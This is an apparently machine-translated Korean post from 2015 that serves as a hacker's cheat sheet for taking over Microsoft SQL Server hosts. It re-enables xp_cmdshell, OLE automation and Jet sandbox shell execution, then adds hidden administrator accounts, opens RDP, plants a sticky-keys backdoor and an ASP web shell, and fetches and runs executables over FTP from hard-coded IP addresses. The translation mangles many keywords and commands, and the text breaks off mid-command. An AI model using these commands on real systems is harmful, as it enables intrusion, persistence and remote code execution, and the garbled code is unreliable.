|
|
게시됨 2015. 3. 18. 오전 10:36:56
|
|
|
|

1433년 수리 명령
net user SQLDebugger list /add net localgroup administrators SQLDebugger /add
오류 메시지: 저장 프로시저 '마스터.. 찾지 못함' xp_cmdshell'.
수리 방법: 매우 일반적이며, 사실 다른 126 127도 함께 수리할 수 있습니다.
하지만 xplog70.dll 이 명령어로 모든 문제를 해결할 수 있습니다
xp_cmdshell 새로운 복구 방법 1단계: 삭제: 드롭 절차 sp_addextendedproc 드롭 절차 sp_oacreate 임원 sp_dropextendedproc 'xp_cmdshell' 서버: Msg 3701, 11층, 스테이트 5, 1번 라인 프로세스 'sp_addextendedproc'은 시스템 디렉터리에 존재하지 않으므로 제거할 수 없습니다. 서버: Msg 3701, 11층, 상태 5, 절차 sp_dropextendedproc, 18번 라인 프로세스 'xp_cmdshell'은 시스템 디렉터리에 존재하지 않으므로 제거할 수 없습니다. 2단계 회복: DBCC Adextendedproc ("sp_oacreate", "odsole70.dll") DBCC AdextendedProc ("xp_cmdshell", "xplog70.dll") sp_addextendedproc 존재하든 없든 직접 회복
xplog70.dll 수정 사항:
오류 메시지: DLL이 참조한 DLL xplog70.dll 또는 DLL이 마운트할 수 없습니다. 이유: 126 (지정된 모듈을 찾을 수 없음.) )。
XPLOG70.DLL 수정하세요 (먼저 백업 디렉터리 \x86\bin에 파일이 있는 것을 확인한 후 다음 디렉터리를 교체하세요)
1단계 임원 sp_dropextendedproc 'xp_cmdshell' 2단계 DBCC addextendedproc ("xp_cmdshell","C:\SQL2kSP4\x86\BINN\xplog70.dll")
저장 프로시저 '마스터.. xp_cmdshell'. 1단계: 절차 sp_addextendedproc --- 생성 1996/08/30 20:13 @functname 은바르차르(517),/* (소유주) 호출할 함수 이름
*/ @dllname varchar(255)/* 함수를 포함하는 DLL의 이름 */ as implicit_transactions 시작해 만약 @@trancount > 0이라면. 시작 레이스에러(15002,-1,-1,'sp_addextendedproc') 귀환 (1) 끝 DBCC AddextendedProc(@functname, @dllname) 반환 (0) -- sp_addextendedproc 가세요
2단계: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll' @o int 선언
SQL Server는 'xp_cmdshell' 구성 요소의 프로세스 'sys.xp_cmdshell'에 대한 접근을 차단했는데, 이는 이 구성 요소가 이 서버의 보안 설정의 일부로 종료되었기 때문입니다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell'을 활성화할 수 있습니다. xp_cmdshell 활성화에 관한 자세한 내용은 SQL Server 온라인 도서 시리즈의 Peripheral App Configurator를 참조하세요.
; 임원sp_configure '고급 옵션 표시', 1 -- ; 오버라이드로 재구성 -- ; 임원 sp_configure 'xp_cmdshell', 1 -- ; 오버라이드로 재구성 -- ; EXEC sp_configure '고급 옵션 표시', 0 --
SQL 위험 저장소 제거: 드롭 절차 sp_makewebtask 대장님.. sp_dropextendedproc xp_cmdshell 대장님.. sp_dropextendedproc xp_dirtree 대장님.. sp_dropextendedproc xp_fileexist 대장님.. sp_dropextendedproc xp_terminate_process 대장님.. sp_dropextendedproc sp_oamethod 대장님.. sp_dropextendedproc sp_oacreate 대장님.. sp_dropextendedproc xp_regaddmultistring 대장님.. sp_dropextendedproc xp_regdeletekey 대장님.. sp_dropextendedproc xp_regdeletevalue 대장님.. sp_dropextendedproc xp_regenumkeys 대장님.. sp_dropextendedproc xp_regenumvalues 대장님.. sp_dropextendedproc sp_add_job 대장님.. sp_dropextendedproc sp_addtask 대장님.. sp_dropextendedproc xp_regread 대장님.. sp_dropextendedproc xp_regwrite 대장님.. sp_dropextendedproc xp_readwebtask 대장님.. sp_dropextendedproc xp_makewebtask 대장님.. sp_dropextendedproc xp_regremovemultistring 대장님.. sp_dropextendedproc sp_OACreate 드롭 절차 sp_addextendedproc
확장 저장 프로시저 복원 먼저 sp_addextendedproc를 복원하세요. 문장은 다음과 같습니다: 첫째: 절차 sp_addextendedproc --- 생성 1996/08/30 20:13 @functname 은바르차르(517),/* (소유주) 호출할 함수 이름 */ @dllname varchar(255)/* 함수를 포함하는 DLL의 이름 */ implicit_transactions 시작해 만약 @@trancount > 0이라면. 시작 레이스에러(15002,-1,-1,'sp_addextendedproc') 귀환 (1) 끝 DBCC AddextendedProc(@functname, @dllname) 반환 (0) -- sp_addextendedproc 가세요
둘째: 마스터 사용 임원 sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 임원 sp_addextendedproc xp_dirtree,'xpstar.dll' 임원 sp_addextendedproc xp_enumgroups,'xplog70.dll' 임원 sp_addextendedproc xp_fixeddrives,'xpstar.dll' 임원 sp_addextendedproc xp_loginconfig,'xplog70.dll' 임원 sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 임원 sp_addextendedproc xp_getfiledetails,'xpstar.dll' 임원 sp_addextendedproc sp_OACreate,'odsole70.dll' 임원 sp_addextendedproc sp_OADestroy,'odsole70.dll' 임원 sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 임원 sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 임원 sp_addextendedproc sp_OAMethod,'odsole70.dll' 임원 sp_addextendedproc sp_OASetProperty,'odsole70.dll' 임원 sp_addextendedproc sp_OAStop,'odsole70.dll' 임원 sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 임원 sp_addextendedproc xp_regdeletekey,'xpstar.dll' 임원 sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 임원 sp_addextendedproc xp_regenumvalues,'xpstar.dll' 임원 sp_addextendedproc xp_regread,'xpstar.dll' 임원 sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 임원 sp_addextendedproc xp_regwrite,'xpstar.dll' 임원 sp_addextendedproc xp_availablemedia,'xpstar.dll'
저장 프로시저를 확장하는 문장을 삭제하세요 xp_cmdshell: 임원 sp_dropextendedproc 'xp_cmdshell'
cmdshell의 SQL 문을 복구하세요 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
cmdshell SQL 문구를 열어 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
저장 확장 가능 여부를 확인하세요 master.dbo.sysobjects에서 xtype='x' 및 name='xp_cmdshell'에서 count(*)를 선택합니다. 반환 결과는 1이고 괜찮습니다
복원xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; master.dbo.sysobjects에서 xtype='x' 및 name='xp_cmdshell'에서 count(*)를 선택합니다. 반환 결과는 1이고 괜찮습니다 그렇지 않으면 업로드하세요xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\Winnt\System32\xplog70.dll'
cmdshell의 SQL 문장을 차단하세요 sp_dropextendedproc "xp_cmdshell
1. SA 비밀번호 방법 변경: SQL 종합 활용 도구에 연결한 후, 다음 명령을 실행하세요: exec sp_password NULL, 'new password', 'sa' (힌트: 조심해서 사용하세요!)
2. 약한 비밀번호를 패치하면 됩니다.
방법 1: 연결 후 분배기를 조회하기: 만약 존재한다면(선택: * dbo.sysobjects 여기서 id = object_id(N'[dbo].[ xp_cmdshell]') 그리고 OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
임원sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
가세요 그 다음 F5 키를 눌러 명령을 실행하세요
방법 2: 스플리터가 연결된 후 쿼리 첫 번째 단계는 실행입니다: 마스터를 사용하세요 2단계: 'xp_cmdshell' sp_dropextendedproc 그 다음 F5 키를 눌러 명령을 실행하세요
DLL이 참조하는 DLL xpsql70.dll이나 DLL은 마운트할 수 없습니다. 이유 126 (지정된 모듈을 찾을 수 없음. ) 복구 방법: 스플리터 연결을 문의한 후, 1단계: "xp_cmdshell" sp_dropextendedproc 2단계: 'xp_cmdshell', 'xpsql70.dll'을 sp_addextendedproc
함수 xp_cmdshell 라이브러리 xpweb70.dll에서는 찾을 수 없습니다. 이유: 127 (지정된 프로그램을 찾을 수 없음.) ) 복구 방법: 스플리터 연결을 문의한 후, 1단계 실행: 임원 sp_dropextendedproc 'xp_cmdshell' 2단계: 'xp_cmdshell', 'xpweb70.dll' sp_addextendedproc 그 다음 F5 키를 눌러 명령을 실행하세요
위의 방법이 복구되지 않는다면, 다음 방법으로 직접 계정을 추가해 보세요: 스플리터 연결을 문의한 후, 2000서브서 시스템: @shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP 또는 2003서버 시스템: 126 오류! 순서
@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ 해커 /add'
@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell 출력하는 exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server는 'xp_cmdshell' 구성 요소의 프로세스 'sys.xp_cmdshell'에 대한 접근을 차단했는데, 이는 이 구성 요소가 이 서버의 보안 설정의 일부로 종료되었기 때문입니다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell'을 활성화할 수 있습니다. xp_cmdshell 활성화에 관한 자세한 내용은 SQL Server 온라인 도서 시리즈의 Peripheral App Configurator를 참조하세요.
분석기가 실행하는 문장들:
EXEC sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure 'xp_cmdshell' 1명; 재구성;
때때로 위 문장들을 쿼리 디타처 연결로 실행할 때 저장 프로시저를 찾을 수 없을 때가 있습니다sp_addextendedproc
우회 방법:
절차 sp_addextendedproc --- 생성 1996/08/30 20:13 @functname 은바르차르(517),/* (소유주) 호출할 함수 이름 */ @dllname varchar(255)/* 함수를 포함하는 DLL의 이름 */ as implicit_transactions 시작해 만약 @@trancount > 0이라면. 시작 레이스에러(15002,-1,-1,'sp_addextendedproc') 귀환 (1) 끝 DBCC AddextendedProc(@functname, @dllname) 반환 (0) -- sp_addextendedproc 가세요 이 코드는 쿼리 스플리터에 붙여넣어 실행됩니다
익스플로러:
c:\windows\explorer.exe
목차 보기 임원 master.dbo.xp_subdirs 'C:\' 목록 디스크 대장님.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
엑셀 master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
에코 윈도우 레지스트리 에디터 버전 5.00 >3389.reg 메아리. >>3389.reg 에코 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg 에코 "Enabled"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg 에코 "ShutdownWithoutLogon"="0" >>3389.reg 에코 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg 에코 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 에코 "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg 에코 "시작"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg 에코 "시작"=dword:00000002 >>3389.reg 에코 [HKEY_USERS\. 기본값\키보드 레이아웃\토글] >>3389.reg 에코 "핫키"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 에코 "포트넘버"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Control\Terminal Server\WinStations\RDP-TCP] >>3389.reg 에코 "포트넘버"=dword:00000D3D >>3389.reg 레지디언 /s 3389.reg
오픈 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
패스 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
포트 3389를 확인해 보세요
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP','PortNumber'
일반 CMD 백도어 xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execute Options\sethc.exe','디버거','reg_sz','c:\windows\system32\cmd.exe'
win2K는 PS Mar로 바로 연결됩니다 대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo 안녕>>net.txt&@ftp -s:net.txt& net.txt & 0.exe")')
win03-XP를 PS 말에 직접 적용하기 대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\Windows\System32\IAS\ias.mdb','select shell("cmd.exe /c @echo Open 60.190.176.85>>net.txt&@echo Reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo 안녕>>net.txt&@ftp -s:net.txt& net.txt & 0.exe")')
5. 백도어 명령어 이동 @o 정찰 선언 exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃 exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
@o 정찰 선언 exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃 exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
C:\Windows\explorer.exe C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
@o 정찰 선언 'wscrip remove t.shell' sp_oacreate 임원 @o exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX가 실행하려는 명령입니다
레지스트리에 지정된 키에 지정된 값을 쓰고, 메서드를 사용해 (키에 bbb HKEY_LOCAL_MACHINE\SOFTWARE\aaaa\aaValue):
임원님.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbbb'
@echo 121.22.56.5>c:\bin.txt&@echo 리스트>>c:\bin.txt&@echo 리스트>>c:\bin.txt&@echo gzn.exe>>c:\bin.txt&@echo 안녕>>c:\bin.txt&@ftp -s:c:\bin.txt&델 C:\bin.txt&gzn.exe& gzn.exe&gzn.exe
먼저, ftp.exe wmpub 디렉터리에 복사하세요 @echo CD C:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
오픈 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL은 문장을 작성합니다 행정 master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(요청("SB"))%>' '
SA 샌드박스 모드 프로모션 ----- ---------------------- 대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; ------------------------------------------------------- Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389 교대
사용된 문장은 다음과 같습니다: 침공 임원님.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE', @value_name='디버거', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
회복 임원님.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE', @value_name='디버거', @type='REG_SZ', @value=''
이미지 하이재킹
임원님.. xp_regwrite --- 이건 레지스트리 편집이에요! @rootkey='HKEY_LOCAL_MACHINE', ---이것이 바로 포지션입니다! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE', -----이 위치이기도 해! @value_name='디버거', --- 이게 바로 테이블 이름이에요! @type='REG_SZ', --- 여기서 글쓰기의 의미가 있습니다! @value='C:\WINDOWS\explorer.exe' ---- 여기 글로 된 내용이 있습니다!
전체 과정은 마스터를 사용하는 것입니다: 이 부분이 완료xp_regwrite,
레지스트리 고정 키가 탈취되었는지 문의하는 명령어1.sql
대장님.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc.exe','디버거'
2.sql 명령어가 레지스트리 고정 키 기능을 탈취하고 작업 관리자로 대체합니다(물론 원하는 다른 명령어로 교체할 수도 있습니다).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', '디버거','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
레지스트리 고정 키의 하이재킹 기능을 제거하는 명령3.sql 서버를 다른 사람에게 악용당하지 않도록 보호합니다
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc.exe'
SQL 파일 작성
@o int, @f int, @t int, @ret int 선언 exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃 exec sp_oamethod @o, 'createtextfile', @f 아웃, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. 컴퓨터네임' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. 세트인포 ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
NET 에스컬레이션이 없는 스크립트
struser=wscrip을 사용하여 t.arguments(0) strpass=wscrip을 사용하여 t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. 컴퓨터네임 Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) 과다. SetPassword strpass 과다. 세트 정보 Set of=GetObject(oz&"/" & struser & ",user") OE. 추가(Add(of. ADsPath)
OE의 각 관리자마다 해당됩니다. 멤버 만약 스트루저=관리자라면. 그때 이름 Wscrip이 t.echo 스트러저를 제거했고 "성공적으로 구축됨!" t.quit 제거를 위한 WSCRIP 끝나는 경우 다음
wscrip 제거 t.echo 스트루저와 "사용자 설정 실패!" 위 내용을 사용자로 저장하세요. VBS 파일 그 다음 execute: cscrip을 실행하여 user.vbs 사용자 비밀번호를 제거하세요
JET 샌드박스 모드를 사용하면 XP_cmdshell 및 관련 동적 링크 라이브러리와 같은 저장 프로시저로 인한 문제를 해결할 수 있습니다. 보안상의 이유로 시스템은 기본적으로 샌드박스 모드를 켜지 않으며, 이 경우 xp_regwrite 샌드박스 모드를 켜야 합니다:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \엔진', '샌드박스 모드', 'REG_DWORD',1
그 다음 샌드박스 명령을 실행하여 비밀번호 1234가 있는 사용자 이름의 test를 시스템에 추가합니다:
Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup 관리자가 /add를 테스트한다)')
운영체제마다 경로가 다르며 상황에 따라 수정이 필요합니다:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
또한, Microsoft SQL Server 2005에서는 일부 저장 프로시저가 기본적으로 닫혀 있으며, 다음 명령어를 열어야 합니다:
XP_cmdshell 켜기:
EXEC sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure 'xp_cmdshell', 1; 재구성;
'OPENROWSET'을 열어보세요:
exec sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure '임시 분산 쿼리',1; 재구성;
'sp_oacreate' 켜기:
exec sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure '올레 자동화 절차',1; 재구성;
다음은 sa 명령어에서 실행 명령어가 잘못된 몇 가지 상황입니다: 1. DL xpsql70.dll L이 참조하는 DLL을 로드할 수 없습니다. 이유 126 (지정된 모듈을 찾을 수 없음. ) 이런 상황은 비교적 흔하며, 수리는 간단하고 간단하지만 조건이 있습니다. 이 경우 디렉터리를 나열할 수 있다면(sqltools v2.0에서는 디렉터리 함수가 있습니다). 이 80% 상황은 해결할 수 있습니다. 디렉터리를 나열할 수 있다면 xplog70.dll 경로를 찾아서 다음 명령을 실행하면 됩니다. 1단계 exec sp_dropextendedproc 'xp_cmdshell' (이 명령어는 이미 잘못된 상태이므로 원본 cmdshell을 삭제하는 명령입니다) 2단계 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure '고급 옵션 표시', 0 – 물론 이것은 쿼리 분석기로 실행되는 SQL 명령입니다. 두 번째 단계의 c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll이 xplog70.dll의 경로입니다. 이 경로는 비교적 흔합니다. C 드라이브에 없으면 다른 드라이브 문자를 찾을 수 있습니다. 2. 라이브러리 xpweb70.dll에서 함수 xp_cmdshell 찾을 수 없음. 이유: 127 (지정된 프로그램을 찾을 수 없음.) ) 사실 이 방법은 위의 126과 같아요. 즉, 백업을 찾xplog70.dll 위 방법을 따르면 cmdshell이 잘못됐다는 뜻입니다. 3. 저장 프로시저 '마스터'를 찾지 못함. xpcmdshell' 이 경우, 인터넷에서 본 방법은: 1단계: 삭제: 드롭 절차 sp_addextendedproc 드롭 절차 sp_oacreate 임원 sp_dropextendedproc 'xp_cmdshell' 2단계 회복: DBCC Adextendedproc ("sp_oacreate", "odsole70.dll") DBCC AdextendedProc ("xp_cmdshell", "xplog70.dll") 사실, 이것은 위의 것과 같습니다. 조심하면 위의 126 127은 저장 프로시저 'master:'를 찾지 못할 뿐입니다. 첫 번째 단계는 cmdshell의 저장 프로시저를 삭제하는 것이기 때문입니다. 이 경우에는 위의 두 번째 단계를 따르면 됩니다. 4. 오류 메시지: SQL 서버가 'xp_cmdshell' 구성 요소의 프로세스 'sys.xp_cmdshell'에 대한 접근을 차단했는데, 이는 이 구성 요소가 이 서버의 보안 구성의 일부로 종료되었기 때문입니다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell'을 활성화할 수 있습니다. xp_cmdshell 활성화에 관한 자세한 내용은 SQL Server 온라인 도서 시리즈의 Peripheral App Configurator를 참조하세요. 이 상황이 가장 간단한데, 아무 생각 없이 다음 명령어만 실행하면 됩니다 ; 임원sp_configure '고급 옵션 표시', 1 -- ; 오버라이드로 재구성 -- ; 임원 sp_configure 'xp_cmdshell', 1 -- ; 오버라이드로 재구성 -- ; EXEC sp_configure '고급 옵션 표시', 0 –
위의 수정 후에는 cmd 명령을 실행하면 파워가 상승하기 시작할 수 있습니다. 보통 먼저 IP를 확인해서 인트라넷인지 확인하고, 그 다음에 REG 쿼리로 HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber"로 터미널 포트를 확인하고, netstat -an으로 터미널이 열려 있는지 확인한 다음, net 사용자 비밀번호를 입력합니다 / 사용자 추가를 한 다음, net로컬그룹 관리자 사용자 /add를 실행하세요. 모든 것이 잘 진행되면 서버가 다운됩니다. 하지만 이 과정에는 많은 문제가 있습니다. 1. 순전력 승급은 성공했지만 단말기에 연결할 수 없습니다. 다음과 같은 상황이 있습니다. (1) 서버가 인트라넷에 위치해 있습니다. (2) TCP/IP 스크리닝. 먼저 다음 cmd 명령어를 실행하세요: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, TCP/IP 필터링용 레지스트리 첫 번째 부분을 내보내세요 cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, TCP/IP 필터링용 레지스트리 두 번째 부분을 내보내세요 cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", TCP/IP 필터링에 관한 레지스트리 내 세 번째 자리를 내보내는 그 다음 C 드라이브 1.reg로 돌아가서 2.reg, 3.reg 1.reg 다운로드, 2.reg 3.reg, 하드 드라이브로 돌아가 편집하고, dword 뒤에 있는 키 값이 00000000000인지 EnableSecurityFilters 필드를 찾아보세요. 만약 00000001라면 관리자가 TCP/IP 필터링을 했다는 뜻이고, 1을 0, 2로 바꾸면 됩니다. 레그와 3.reg도 같은 변경을 합니다. (3) IP 보안 정책을 수립합니다. impsec 서비스 서비스를 중단하려면 cmd /c net stop policyagent 명령어를 실행하세요. 단자를 다시 연결하세요. (4) 관리자가 설정한 터미널의 로그인 권한은 지정된 사용자만 사용할 수 있습니다. (5) 방화벽. cmd 명령어를 실행하세요: net stop alg /ynet stop sharedaccess
2. NET 에스컬레이션이 나타나고 접근 거부 net1 사용자 비밀번호 /add를 시도해 보세요. net1도 접근 거부한다면, shfit 백도어를 복사해서 cmd 명령어를 실행해 보세요: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe 질문이 나오면 파일 1개를 복사하는데, 이 파일이 성공하는 것으로 증명됩니다. 터미널에 연결해서 5 Shift를 누르면 어떤 메시지가 뜨는지 확인해보세요. Kaka Explorer로 플레이해보세요. 이제 수동으로 사용자를 추가하세요. 3. 순 에스컬레이션이 발생하며 접근 거부 오류 5(강조) 이 경우 net1을 시도할 필요는 없고, 복사 시프트 백도어를 시도해 보세요. 복사 과정에서 0 파일을 복사하라는 메시지가 나오면 성공하지 못했다는 증거가 됩니다. 그다음 업로드를 시도할 수 있습니다. 업로드할 수 있다면, 예전에 나온 비네트워크 전력 상승 도구를 직접 보내고 사용자를 추가할 수 있습니다. 하지만 대부분의 사례는 업로드할 수 없으니 신중히 생각해야 합니다. cmd가 실행될 수 있으므로, ftp 하에서 cmd로 파일을 다운로드할 수 있지만, ftp의 전제는 텍스트 작성이나 배치 처리를 할 수 있도록 하는 것입니다. 그 다음에는 SQL 문장을 텍스트나 배치로 작성할 수 있습니다. @o int, @f int, @t int, @ret int 선언 exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃 exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp 계정' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (net escalation script 없음) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' 쿼리 분석기가 성공적으로 실행되면 C 드라이브에 1.bat가 나타납니다(실행이 성공했지만 C 드라이브가 없으면, 해당 서버의 C 드라이브 루트 디렉터리가 쓰기를 금지하므로 폴더를 쓰기로 변경할 수 있습니다) 그 후 cmd는 ftp -s:c:\를 실행합니다1.bat 이 작업이 실행되면 CFT 드라이브 FTP에서 비넷 에스컬레이션 스크립트를 다운로드하거나 VBS 에스컬레이션 스크립트를 직접 작성합니다 @o int, @f int, @t int, @ret int 선언 exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃 exec sp_oamethod @o, 'createtextfile', @f 아웃, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password",'' exec @ret = 